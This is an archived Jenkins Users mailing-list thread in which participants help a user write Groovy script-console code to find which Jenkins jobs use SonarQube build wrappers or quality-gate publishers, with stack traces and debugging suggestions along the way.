On Sun, May 24, 2020 at 11:12 Vijay Gongle  wrote:

> Thank you for responding.
> Can you help me completing the query;
>
> I would like to fetch the jobs which has the check mark "Prepare SonarQube
> Scanner environment" in Build Environment as shown below:
>
> [image: image.png]
>
> Thanks,
> Vijay
>
>
> On Sat, May 23, 2020 at 11:09 PM Jan Monterrubio 
> wrote:
>
>> You could iterate over the list of jobs and get the configuration traits
>> for them, and check if they have sonar cube, something like
>>
>> Jenkins.getInstance().items.each { it ->
>>
>> it.configuration?.steps // not sure what XML type the sonar cube step is,
>> if it has a step
>> }
>>
>>
>> On Sat, May 23, 2020 at 8:43 PM Vijay Gongle  wrote:
>>
>>> We have plenty of Jenkins job and most of them are running with
>>> SonarQube for analysis.
>>>
>>> How to find out; how many such jobs are running with SonarQube ?
>>>
>>> Thanks
>>> Vijay
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-users+unsubscr...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/d82c76df-ce71-45c3-8449-79a1b1f19bac%40googlegroups.com
>>> .
>>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>>
> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BG%3Df7AkSfE2v3xmQRUDcJvkThxNQ%2BL4nspcMsHrvhq5w%40mail.gmail.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BG%3Df7AkSfE2v3xmQRUDcJvkThxNQ%2BL4nspcMsHrvhq5w%40mail.gmail.com?utm_medium=email&utm_source=footer>
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAMrMyD%3Dx3_noyFk9%3D2LaboCoSUdiwwVhRopRw9d80yZ46bcJGQ%40mail.gmail.com
> <https://groups.google.com/d/msgid/jenkinsci-users/CAMrMyD%3Dx3_noyFk9%3D2LaboCoSUdiwwVhRopRw9d80yZ46bcJGQ%40mail.gmail.com?utm_medium=email&utm_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9L6-4_bqHOmqB8bTtTNF%3DdbHPKFs%3Drjmm_r5Px%3Dy%3D5DSw%40mail.gmail.com.


Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
Thanks a lot Dirk, I was trying to write this on notepad without the
scriptconsole (we also don't use sonar and i didn't have an instance
available on my personal machine)

On Tue, May 26, 2020 at 6:31 AM 'Dirk Heinrichs' via Jenkins Users <
jenkinsci-users@googlegroups.com> wrote:

> Am Samstag, den 23.05.2020, 18:43 -0700 schrieb Vijay Gongle:
>
> We have plenty of Jenkins job and most of them are running with SonarQube
> for analysis.
>
> How to find out; how many such jobs are running with SonarQube ?
>
>
> This is derived from a script I've used in the past to modify all
> Artifactory wrappers in all our jobs:
>
> import hudson.model.*
> import hudson.plugins.sonar.*
> import jenkins.model.*
>
> // Iterate over all jobs
> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>   def fName = job.getFullName()
>
>   // Iterate over all build wrappers
>   for (wrapper in job.getBuildWrappersList()) {
>   if (wrapper instanceof SonarBuildWrapper) {
>   println(fName + ' has SonarQube configuration.')
>   }
>   }
> }
> println('Done.')
>
>
> Paste it into the Script Console and see how it works. We don't use
> SonarCube ourselves, so it may work or not, but it should point you into
> the right direction.
>
> HTH...
>
> Dirk
>
> --
>
> *Dirk Heinrichs*
> Senior Systems Engineer, Delivery Pipeline
> OpenText ™ Discovery | Recommind
> *Phone*: +49 2226 15966 18
> *Email*: dhein...@opentext.com
> *Website*: www.recommind.de
> Recommind GmbH, Von-Liebig-Straße 1, 53359 Rheinbach
> Vertretungsberechtigte Geschäftsführer Gordon Davies, Madhu Ranganathan,
> Christian Waida, Registergericht Amtsgericht Bonn, Registernummer HRB 10646
> This e-mail may contain confidential and/or privileged information. If you
> are not the intended recipient (or have received this e-mail in error)
> please notify the sender immediately and destroy this e-mail. Any
> unauthorized copying, disclosure or distribution of the material in this
> e-mail is strictly forbidden
> Diese E-Mail enthält vertrauliche und/oder rechtlich geschützte
> Informationen. Wenn Sie nicht der richtige Adressat sind oder diese E-Mail
> irrtümlich erhalten haben, informieren Sie bitte sofort den Absender und
> vernichten Sie diese Mail. Das unerlaubte Kopieren sowie die unbefugte
> Weitergabe dieser Mail sind nicht gestattet.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/53911cd297f0aa4bcedeac64a755e8a6aaeddcd4.camel%40opentext.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JujcuDk%2BU1kni9TCYUwgNSDVteAJnQNQ3eeNcfNiAp2Q%40mail.gmail.com.


Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:146)
>   at 
> org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:524)
>   at 
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:257)
>   at 
> org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1595)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:255)
>   at 
> org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1317)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:203)
>   at 
> org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:473)
>   at 
> org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1564)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:201)
>   at 
> org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1219)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:144)
>   at 
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
>   at org.eclipse.jetty.server.Server.handle(Server.java:531)
>   at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:352)
>   at 
> org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
>   at 
> org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:281)
>   at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:102)
>   at org.eclipse.jetty.io.ChannelEndPoint$2.run(ChannelEndPoint.java:118)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:333)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:310)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:168)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:126)
>   at 
> org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:366)
>   at 
> org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:762)
>   at 
> org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:680)
>   at java.lang.Thread.run(Thread.java:748)
>
>
> On Tue, May 26, 2020 at 9:58 AM Jan Monterrubio 
> wrote:
>
>> Thanks a lot Dirk, I was trying to write this on notepad without the
>> scriptconsole (we also don't use sonar and i didn't have an instance
>> available on my personal machine)
>>
>> On Tue, May 26, 2020 at 6:31 AM 'Dirk Heinrichs' via Jenkins Users <
>> jenkinsci-users@googlegroups.com> wrote:
>>
>>> Am Samstag, den 23.05.2020, 18:43 -0700 schrieb Vijay Gongle:
>>>
>>> We have plenty of Jenkins job and most of them are running with
>>> SonarQube for analysis.
>>>
>>> How to find out; how many such jobs are running with SonarQube ?
>>>
>>>
>>> This is derived from a script I've used in the past to modify all
>>> Artifactory wrappers in all our jobs:
>>>
>>> import hudson.model.*
>>> import hudson.plugins.sonar.*
>>> import jenkins.model.*
>>>
>>> // Iterate over all jobs
>>> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>>>   def fName = job.getFullName()
>>>
>>>   // Iterate over all build wrappers
>>>   for (wrapper in job.getBuildWrappersList()) {
>>>   if (wrapper instanceof SonarBuildWrapper) {
>>>   println(fName + ' has SonarQube configuration.')
>>>   }
>>>   }
>>> }
>>> println('Done.')
>>>
>>>
>>> Paste it into the Script Console and see how it works. We don't use
>>> SonarCube ourselves, so it may work or not, but it should point you into
>>> the right direction.
>>>
>>> HTH...
>>>
>>> Dirk
>>>
>>> --
>>>
>>> *Dirk Heinrichs*
>>> Senior Systems Engineer, Delivery Pipeline
>>> OpenText ™ Discovery | Recommind
>>> *Phone*: +49 2226 15966 18
>>> *Email*: dhein...@opentext.com
>>> *Website*: www.recommind.de
>>> Recommind GmbH, Von-Liebig-Straße 1, 53359 Rheinbach
>>> <https://www.google.com/maps/search/V

Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
.servlet.ServletHandler.doHandle(ServletHandler.java:533)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:146)
>   at 
> org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:524)
>   at 
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:257)
>   at 
> org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1595)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:255)
>   at 
> org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1317)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:203)
>   at 
> org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:473)
>   at 
> org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1564)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:201)
>   at 
> org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1219)
>   at 
> org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:144)
>   at 
> org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
>   at org.eclipse.jetty.server.Server.handle(Server.java:531)
>   at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:352)
>   at 
> org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
>   at 
> org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:281)
>   at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:102)
>   at org.eclipse.jetty.io.ChannelEndPoint$2.run(ChannelEndPoint.java:118)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:333)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:310)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:168)
>   at 
> org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:126)
>   at 
> org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:366)
>   at 
> org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:762)
>   at 
> org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:680)
>   at java.lang.Thread.run(Thread.java:748)
>
>
> Thanks
>
>
> On Tue, May 26, 2020 at 1:05 PM Jan Monterrubio 
> wrote:
>
>> Looks like the script died after some job, can you print it’s name and
>> check it’s config? Maybe we need to add a null check before we try to call
>> getBuildWrapperList or the config type is doffeeent!
>>
>> On Tue, May 26, 2020 at 11:51 Vijay Gongle  wrote:
>>
>>> Thank you Drik/Jan.
>>> I ran the above script and I get the below result with two of the job
>>> names which has SonarQube configurations. But I'm sure there are even more.
>>>
>>> Result
>>>
>>> * has SonarQube configuration.
>>> * has SonarQube configuration.
>>>
>>> groovy.lang.MissingMethodException: No signature of method: 
>>> hudson.maven.MavenModule.getBuildWrappersList() is applicable for argument 
>>> types: () values: []
>>> at 
>>> org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)
>>> at 
>>> hudson.model.BuildableItemWithBuildWrappers$getBuildWrappersList.call(Unknown
>>>  Source)
>>> at Script1$_run_closure1.doCall(Script1.groovy:10)
>>> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>>> at 
>>> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
>>> at 
>>> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>>> at java.lang.reflect.Method.invoke(Method.java:498)
>>> at 
>>> org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
>>> at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
>>> at 
>>> org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMet

Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
It seems that we do something like this to check if its gonna respond to
that method:

if(project.respondsTo('getBuildWrappersList')) { // do other things here }
MavenModuleSet doesn't have a buildWrappersList:
https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModule.html
MavenModuleSet on the other hand, does:
https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModuleSet.html#getBuildWrappersList--
So you might have to check if the project responds to that method, and if
so, check if it has sonar. If not, print out the job name and lets check if
it has the same configuration object type: *maven2-moduleset*

On Tue, May 26, 2020 at 12:56 PM Vijay Gongle  wrote:

> Ya sure, I haven't tweaked it honestly as I'm not aware of Groovy. So I
> have pasted the below script provided by Drik.
>
> import hudson.model.*
> import hudson.plugins.sonar.*
> import jenkins.model.*
>
> // Iterate over all jobs
> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>   def fName = job.getFullName()
>
>   // Iterate over all build wrappers
>   for (wrapper in job.getBuildWrappersList()) {
>   if (wrapper instanceof SonarBuildWrapper) {
>   println(fName + ' has SonarQube configuration.')
>   }
>   }
> }
> println('Done.')
>
>
> Thanks
>
> On Tue, May 26, 2020 at 1:52 PM Jan Monterrubio 
> wrote:
>
>>  at Script1.run(Script1.groovy:6)
>>
>> do you mind copy pasting your script here so we can check it out (with 
>> whatever modifications you have).
>>
>> Based on what Dirk said, you might have to tweak it:
>>
>> "Paste it into the Script Console and see how it works. We don't use 
>> SonarCube ourselves, so it may work or not, but it should point you into the 
>> right direction."
>>
>>
>> On Tue, May 26, 2020 at 12:44 PM Vijay Gongle 
>> wrote:
>>
>>> All the jobs has similar configurations for SonarQube as posted in the
>>> above config.xml
>>> It throws the below error:
>>>
>>> groovy.lang.MissingMethodException: No signature of method: 
>>> hudson.maven.MavenModule.getBuildWrappersList() is applicable for argument 
>>> types: () values: []
>>> at 
>>> org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)
>>> at 
>>> hudson.model.BuildableItemWithBuildWrappers$getBuildWrappersList.call(Unknown
>>>  Source)
>>> at Script1$_run_closure1.doCall(Script1.groovy:10)
>>> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>>> at 
>>> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
>>> at 
>>> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>>> at java.lang.reflect.Method.invoke(Method.java:498)
>>> at 
>>> org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
>>> at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
>>> at 
>>> org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:294)
>>> at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1022)
>>> at groovy.lang.Closure.call(Closure.java:414)
>>> at groovy.lang.Closure.call(Closure.java:430)
>>> at 
>>> org.codehaus.groovy.runtime.DefaultGroovyMethods.each(DefaultGroovyMethods.java:2040)
>>> at 
>>> org.codehaus.groovy.runtime.DefaultGroovyMethods.each(DefaultGroovyMethods.java:2025)
>>> at 
>>> org.codehaus.groovy.runtime.DefaultGroovyMethods.each(DefaultGroovyMethods.java:2066)
>>> at org.codehaus.groovy.runtime.dgm$162.invoke(Unknown Source)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite$PojoMetaMethodSiteNoUnwrapNoCoerce.invoke(PojoMetaMethodSite.java:274)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.PojoMetaMethodSite.call(PojoMetaMethodSite.java:56)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)
>>> at 
>>> org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:125)
>>> at Script1.run(Script1.groovy:6

Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
That looks like it would be in the set of Publishers?
https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModuleSet.html#getPublishers--

So maybe try iterating through the publishers and if one of them is an
instance of hudson.plugins.sonar.SonarPublisher , then you found another
thing with sonar!

On Tue, May 26, 2020 at 10:06 PM Vijay Gongle  wrote:

> Thanks a lot Jan and Dirk. The below script worked for about 50%. Looking
> at the results, found that there are missing parts.
> import hudson.model.*
> import hudson.plugins.sonar.*
> import jenkins.model.*
>
> // Iterate over all jobs
> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>   def fName = job.getFullName()
>
>   // Iterate over all build wrappers
>   if(job.respondsTo('getBuildWrappersList')) {
>   for (wrapper in job.getBuildWrappersList()) {
>   if (wrapper instanceof SonarBuildWrapper) {
>   println(fName + ' has SonarQube configuration.')
>   }
>   }
>   }
>   else{
> println(fName + ' has some issues.')
>   }
> }
> println('Done.')
>
> I don't see anything that has sonar quality gate. Do I have to run it
> separately or it can be combined in the above script?
> Below is the config xml. What needs to be replaced with, to get the
> results which has Sonar quality gates as well in the jobs?
>
> 
> 
> portal
> Sonar
> FAILED
> 
> 
> 
> 
> 
> false
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> false
> 
>
> Thanks,
>
> On Tue, May 26, 2020 at 2:17 PM Jan Monterrubio 
> wrote:
>
>> It seems that we do something like this to check if its gonna respond to
>> that method:
>>
>> if(project.respondsTo('getBuildWrappersList')) { // do other things here
>> } MavenModuleSet doesn't have a buildWrappersList:
>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModule.html
>> MavenModuleSet on the other hand, does:
>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModuleSet.html#getBuildWrappersList--
>> So you might have to check if the project responds to that method, and if
>> so, check if it has sonar. If not, print out the job name and lets check if
>> it has the same configuration object type: *maven2-moduleset*
>>
>> On Tue, May 26, 2020 at 12:56 PM Vijay Gongle 
>> wrote:
>>
>>> Ya sure, I haven't tweaked it honestly as I'm not aware of Groovy. So I
>>> have pasted the below script provided by Drik.
>>>
>>> import hudson.model.*
>>> import hudson.plugins.sonar.*
>>> import jenkins.model.*
>>>
>>> // Iterate over all jobs
>>> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>>>   def fName = job.getFullName()
>>>
>>>   // Iterate over all build wrappers
>>>   for (wrapper in job.getBuildWrappersList()) {
>>>   if (wrapper instanceof SonarBuildWrapper) {
>>>   println(fName + ' has SonarQube configuration.')
>>>   }
>>>   }
>>> }
>>> println('Done.')
>>>
>>>
>>> Thanks
>>>
>>> On Tue, May 26, 2020 at 1:52 PM Jan Monterrubio <
>>> janmonterru...@gmail.com> wrote:
>>>
>>>>at Script1.run(Script1.groovy:6)
>>>>
>>>> do you mind copy pasting your script here so we can check it out (with 
>>>> whatever modifications you have).
>>>>
>>>> Based on what Dirk said, you might have to tweak it:
>>>>
>>>> "Paste it into the Script Console and see how it works. We don't use 
>>>> SonarCube ourselves, so it may work or not, but it should point you into 
>>>> the right direction."
>>>>
>>>>
>>>> On Tue, May 26, 2020 at 12:44 PM Vijay Gongle 
>>>> wrote:
>>>>
>>>>> All the jobs has similar configurations for SonarQube as posted in the
>>>>> above config.xml
>>>>> It throws the below error:
>>>>>
>>>>> groovy.lang.MissingMethodException: No signature of method: 
>>>>> hudson.maven.MavenModule.getBuildWrappersList() is applicable for 
>>>>> argument types: () values: []
>>>>>   at 
>>>>> org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
>>>>>   at 
>>>>> org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
>>>>>   at 
>>>>> o

Re: How to get a list of jobs that are integrated with SonarQube

2020-05-26 Thread Jan Monterrubio
>   Do I have to run it separately or it can be combined in the above
script?

you can combine it:

if (buildWrappersList() { // the logic for the build wrappers }

if (publishersList() { // find sonar publisher }


On Tue, May 26, 2020 at 10:06 PM Vijay Gongle  wrote:

> Thanks a lot Jan and Dirk. The below script worked for about 50%. Looking
> at the results, found that there are missing parts.
> import hudson.model.*
> import hudson.plugins.sonar.*
> import jenkins.model.*
>
> // Iterate over all jobs
> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>   def fName = job.getFullName()
>
>   // Iterate over all build wrappers
>   if(job.respondsTo('getBuildWrappersList')) {
>   for (wrapper in job.getBuildWrappersList()) {
>   if (wrapper instanceof SonarBuildWrapper) {
>   println(fName + ' has SonarQube configuration.')
>   }
>   }
>   }
>   else{
> println(fName + ' has some issues.')
>   }
> }
> println('Done.')
>
> I don't see anything that has sonar quality gate. Do I have to run it
> separately or it can be combined in the above script?
> Below is the config xml. What needs to be replaced with, to get the
> results which has Sonar quality gates as well in the jobs?
>
> 
> 
> portal
> Sonar
> FAILED
> 
> 
> 
> 
> 
> false
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> false
> 
>
> Thanks,
>
> On Tue, May 26, 2020 at 2:17 PM Jan Monterrubio 
> wrote:
>
>> It seems that we do something like this to check if its gonna respond to
>> that method:
>>
>> if(project.respondsTo('getBuildWrappersList')) { // do other things here
>> } MavenModuleSet doesn't have a buildWrappersList:
>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModule.html
>> MavenModuleSet on the other hand, does:
>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModuleSet.html#getBuildWrappersList--
>> So you might have to check if the project responds to that method, and if
>> so, check if it has sonar. If not, print out the job name and lets check if
>> it has the same configuration object type: *maven2-moduleset*
>>
>> On Tue, May 26, 2020 at 12:56 PM Vijay Gongle 
>> wrote:
>>
>>> Ya sure, I haven't tweaked it honestly as I'm not aware of Groovy. So I
>>> have pasted the below script provided by Drik.
>>>
>>> import hudson.model.*
>>> import hudson.plugins.sonar.*
>>> import jenkins.model.*
>>>
>>> // Iterate over all jobs
>>> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>>>   def fName = job.getFullName()
>>>
>>>   // Iterate over all build wrappers
>>>   for (wrapper in job.getBuildWrappersList()) {
>>>   if (wrapper instanceof SonarBuildWrapper) {
>>>   println(fName + ' has SonarQube configuration.')
>>>   }
>>>   }
>>> }
>>> println('Done.')
>>>
>>>
>>> Thanks
>>>
>>> On Tue, May 26, 2020 at 1:52 PM Jan Monterrubio <
>>> janmonterru...@gmail.com> wrote:
>>>
>>>>at Script1.run(Script1.groovy:6)
>>>>
>>>> do you mind copy pasting your script here so we can check it out (with 
>>>> whatever modifications you have).
>>>>
>>>> Based on what Dirk said, you might have to tweak it:
>>>>
>>>> "Paste it into the Script Console and see how it works. We don't use 
>>>> SonarCube ourselves, so it may work or not, but it should point you into 
>>>> the right direction."
>>>>
>>>>
>>>> On Tue, May 26, 2020 at 12:44 PM Vijay Gongle 
>>>> wrote:
>>>>
>>>>> All the jobs has similar configurations for SonarQube as posted in the
>>>>> above config.xml
>>>>> It throws the below error:
>>>>>
>>>>> groovy.lang.MissingMethodException: No signature of method: 
>>>>> hudson.maven.MavenModule.getBuildWrappersList() is applicable for 
>>>>> argument types: () values: []
>>>>>   at 
>>>>> org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
>>>>>   at 
>>>>> org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
>>>>>   at 
>>>>> org.codehaus.groovy.runtime.callsite.CallSiteArray.d

Re: How to get a list of jobs that are integrated with SonarQube

2020-05-27 Thread Jan Monterrubio
Try printing like this:

println(“${job.getFullName()} has soñar configuration”)

It’s groovy interpolation. If that doesn’t work maybe just job.getName
might do it.

On Wed, May 27, 2020 at 15:27 Vijay Gongle  wrote:

> Hi Jan/Dirk,
> I used the below script and I'm getting all the plugins list that jobs are
> using but not the actual job name. Can you please help me how to tweak it.
>
> When I run the below script I get the results which shows "
> org.quality.gates.jenkins.plugin.QGPublisher@75f89c52" along with other
> such plugin details. But I would like to see which job is using this
> quality gate plugin.
>
> import hudson.model.*
> import hudson.plugins.sonar.*
> import jenkins.model.*
>
> // Iterate over all jobs
> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>   def fName = job.getFullName()
>
>   // Iterate over all build wrappers
>   if(job.respondsTo('getBuildWrappersList')) {
>   for (wrapper in job.getBuildWrappersList()) {
>   if (wrapper instanceof SonarBuildWrapper) {
>   println(fName + ' has SonarQube configuration.')
>   }
>   }
>   }
>   //if(job.respondsTo('getPublishersList')) {
>   for (wrapper in job.getPublishersList()) {
>   //if (wrapper instanceof SonarPublisher) {
>   println(wrapper)
>   //}
>   //}
>   }
> }
> println('Done.')
>
> Thanks,
> Vijay
>
> On Wed, May 27, 2020 at 12:15 AM Jan Monterrubio 
> wrote:
>
>> >   Do I have to run it separately or it can be combined in the above
>> script?
>>
>> you can combine it:
>>
>> if (buildWrappersList() { // the logic for the build wrappers }
>>
>> if (publishersList() { // find sonar publisher }
>>
>>
>> On Tue, May 26, 2020 at 10:06 PM Vijay Gongle 
>> wrote:
>>
>>> Thanks a lot Jan and Dirk. The below script worked for about 50%.
>>> Looking at the results, found that there are missing parts.
>>> import hudson.model.*
>>> import hudson.plugins.sonar.*
>>> import jenkins.model.*
>>>
>>> // Iterate over all jobs
>>> Jenkins.instance.getAllItems(AbstractProject.class).each {job ->
>>>   def fName = job.getFullName()
>>>
>>>   // Iterate over all build wrappers
>>>   if(job.respondsTo('getBuildWrappersList')) {
>>>   for (wrapper in job.getBuildWrappersList()) {
>>>   if (wrapper instanceof SonarBuildWrapper) {
>>>   println(fName + ' has SonarQube configuration.')
>>>   }
>>>   }
>>>   }
>>>   else{
>>> println(fName + ' has some issues.')
>>>   }
>>> }
>>> println('Done.')
>>>
>>> I don't see anything that has sonar quality gate. Do I have to run it
>>> separately or it can be combined in the above script?
>>> Below is the config xml. What needs to be replaced with, to get the
>>> results which has Sonar quality gates as well in the jobs?
>>>
>>> 
>>> 
>>> portal
>>> Sonar
>>> FAILED
>>> 
>>> 
>>> 
>>> 
>>> 
>>> false
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> false
>>> 
>>>
>>> Thanks,
>>>
>>> On Tue, May 26, 2020 at 2:17 PM Jan Monterrubio <
>>> janmonterru...@gmail.com> wrote:
>>>
>>>> It seems that we do something like this to check if its gonna respond
>>>> to that method:
>>>>
>>>> if(project.respondsTo('getBuildWrappersList')) { // do other things
>>>> here } MavenModuleSet doesn't have a buildWrappersList:
>>>> https://javadoc.jenkins.io/plugin/maven-plugin/hudson/maven/MavenModule.html
>>>> MavenModuleSet on the other hand, does:
